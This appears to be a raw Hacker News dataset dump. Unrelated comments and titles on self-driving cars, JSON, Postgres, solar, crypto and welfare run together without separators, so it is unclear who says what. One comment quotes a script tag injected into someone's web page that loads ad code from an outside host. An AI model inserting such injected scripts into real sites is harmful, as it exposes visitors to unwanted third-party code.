skysight-inc/HackerNews huggingface dataset:
Is snow an edge case? My cameras don't function when it's snowing or there's snow in the ground. Or there's snow banks around the road. My dash is lit with the "some cameras are blocked" 24/7 for the whole winter time. And proximity readings are blinking those yellow / red lights all the time from the right side as it thinks the snow bank next to the road is too close. Or the system thinks the camera is blocked because the light reflexes from the snow.

Seriously, if they can't solve even simple problems, how are they going to solve something more complex? I'd be happy for even a implementation of a removal of these warnings when the system doesn't understand what it's doing, but I don't think they know when it doesn't function correctly.
How DJT Lost the White House
It takes 5 minutes to set up a new email account just for this app if you want to do so...
Use a stiff wire for the mouse cable so it holds the mouse and mouse pad in position next to the computer.
One time somebody posted an article (whose name escapes me now that) which asserted that "Endurance sports are the domain of white people because they need artificial pain and struggle to make their otherwise meaningless lives meaningful." It was such a lazy and pompous ideological hit-and-run.

I'm getting a lot of the same vibes from this piece. If you have disposable income and want to collect Japanese cookware then that doesn't inherently make you ignorant or detached from reality. The model is kind of interesting, but it mostly sounds like a dig by the author leaning heavily on stereotyping groups of people.
If that growth rate continues, electric cars will pass 50% sold in 8 years.

Going to be an interesting decade.
I have to agree with the other bloke, this is very much a problem in certain 'magical' JSON 'serializers' in certain very popular server languages, e.g. Java, Spring, FasterXML.

I've seen JSON ser done right where you do just ser/deser direct from/to a JSON object, then perform a manual mapping to domaim or business objects, I've seen it done the wrong way where the domain and data objects are highly coupled, by default.

I think the OP is bemoaning that being a common practice.
The fight over the sugar conspiracy (2018)
I said that we are being pushed onto the spectrum, not that we have become a socialist country. But COVID restrictions have forced millions of people out of work/business and into being entirely reliant on the government for money. When a substantial portion of the population is reliant on the government for money, the government must increase its own revenue, and it will come after those that still have an income for that money. Taxes will skyrocket, but that is unlikely to cover the shortfall, so we will also have to continue printing money at an increasing rate - devaluing our currency and the savings of those that are lucky enough to have any.

Ultimately, having vast swaths of the population reliant on the government for money, food, and healthcare, with oppressive taxes for those who are lucky enough to be employed/in business, and a currency that is rapidly being devalued, is a pretty significant step on the road to socialism.
The one I usually get is one of those delivery only joints I think but the delivery fee is usually a flat few quid tops (£3 at most, almost zero for the less popular ones).

The delivery has always been absolutely perfect to the point of actually needing the app to see where the driver is because it's usually early.
An EV inverter for $200 can allow your car to power your refrigerator + router/phone/laptops for many hours (days for a LR Tesla).
Our answer to the author's question, "is there a way to unify the interface across systems?" is to double-down on Postgres and in particular Foreign Data Wrappers for Elastic, Redis, and Neo4j and Postgres triggers/functions to keep the data in sync.

As the author pointed out, Postgres is a battle-tested and great option, and for us it's our company's source of truth for all data. However, there are definitely use-cases where using elastic or neo4j to look at our data in a different light are very helpful.

IMO Postgres is one of the top-5 software projects of all time, I don't feel like I'm making a bad choice by further grokking it.
He does use some of those billions from stock sells to fund other companies like Blue Origin which does benefit the greater good indirectly.
You're probably thinking of Uber which killed someone in Arizona, not Waymo.
Looks like someone injected this into his page:

<script type="text/javascript" src="//contehos.com/apu.php?zoneid=3271470" async data-cfasync="false"></script>

Which isn't too stealthy about its business. For example:

function postAntiadblockInfo(zoneid, format)
Gitlab 13.8 Released
How much value is there really? The gap between paying a driver and using cutting edge tech is super thin at best.
Don’t forget that you also need to buy brand new vehicles and compete with Uber/taxis.
I wouldn't conflate privacy with encryption necessarily.
I hear it everywhere as well, even from people that aren't antimaskers
The alternatives to UBI are either no welfare, which creates many problems, or what we have now, means tested welfare.

Surely it's more infantilising that instead of an allowance you have the government provide some of your food and housing while checking up on you to make sure you are not cheating.
It isn't, it still does it with all the other weird braking incidents also, like snowy road, truck comes from another direction in the corner - the car will alert and brake even when both are on their correct sides of the road. Not to mention any of those mid-road poles that are meant for the pedestrians. If they have snow then the car will again brake thinking I'm going to hit something. Impossible to use the cruise control on many roads.
I buy Japanese children's books from amazon.co.jp, but there are also the NHK Easy News. Normal textbooks also have simple texts. Tatoeba has a large number of Japanese sentences with audio and translations to various languages.
Intel would also be a bad merger.
Show HN: Secure cloud phone on your phone to protect your data
A remote cloud-based secure phone that doesn't leak your private data because it's not running in your phone.

Hi everyone! As a side project I have created something that I would like to ask you all to get your feedback and if that is something you would be interested in using.

It's a remote phone instance running in the cloud where I install and use all apps that may be leaking private data such as geolocation, activity time, microphone, gyroscope and what not. In principle its an Android instance which I access with VNC client from my iPhone. Everything on the server side is based on AOSP (Android Open Source), encrypted and in a Docker container with all of its security features. The only downside is that when I'm in a rural area the VNC can get laggy and it's pretty much unusable.

I was thinking about releasing it as a service to the general public for a small fee lets say $10/mo to cover the server cost and making some fancy integrations like Zadarma to use separate phone number, VPN to hide the server location, or a dedicated mobile app to optimize traffic data (VNC can be data-heavy).

What do you think?
Most home solar installs are grid-tied. No utility power, no solar power.

It simplifies the system a lot, because the grid provides "instantaneous" load matching for your house. If the inverter is sourcing more current than your house is sinking, the grid will sink it. If the house is sinking more current than your inverter is sourcing, the grid will source it.

When there's a utility outage, you need something else to provide the load matching. Either a local generator, or a battery is common; but either way, it's a lot more expensive.
One could also argue that humans are not proof of anything, as humans frequently make mistakes and conduct dangerous maneuvers whilst driving. There are many road accidents occurring right now, today, around the world, as a result of humans being insufficient drivers.

We can say that something better than human-level driving ought to be possible without LIDAR, though; take the perception of a human (cameras) and replace the brain with a computer that can make better calculations much faster than a human can.
> Last time I checked the process is very water intensive. Where does one get enough water in Arizona?

As I understand it, modern fabs are supposed to reclaim and reuse the water, very little should end up being poured down the drain.
Did you feel the same way in 2019?
Ethereum has a what is effectively a block size limit, which is limiting usage to pretty similarly to Bitcoin's and it is operating hard against it. ('volume' of transactions is not particularly comparable because the average bitcoin transaction now makes multiple payments in a single txn).

Back in the past the issuer of Ethereum stated publicly that online money should not cost more than 5cts/txn... and yet here we are with $50 transactions there.

BCash has not only fewer transaction in spite of tens of millions spent promoting it, but it has vastly lower fees per transaction. If its blocks were half full at 10x the current feerate (and many times larger than bitcoin blocks), its fee income would still be a tiny fraction of Bitcoin's-- and nowhere near enough to support even the extremely low level of security it currently has.
When they can just buy ARM licenses and develop the same technology? That seems rather disingenuous.
I think the massive collection of data from more and more Teslas is going to eventually allow them to produce the best self-driving vehicle.

Its been a maxim of history that those with the most data generally win, whether that's military intelligence of troop movements from 2000 years ago, or LIDAR scans from a car today.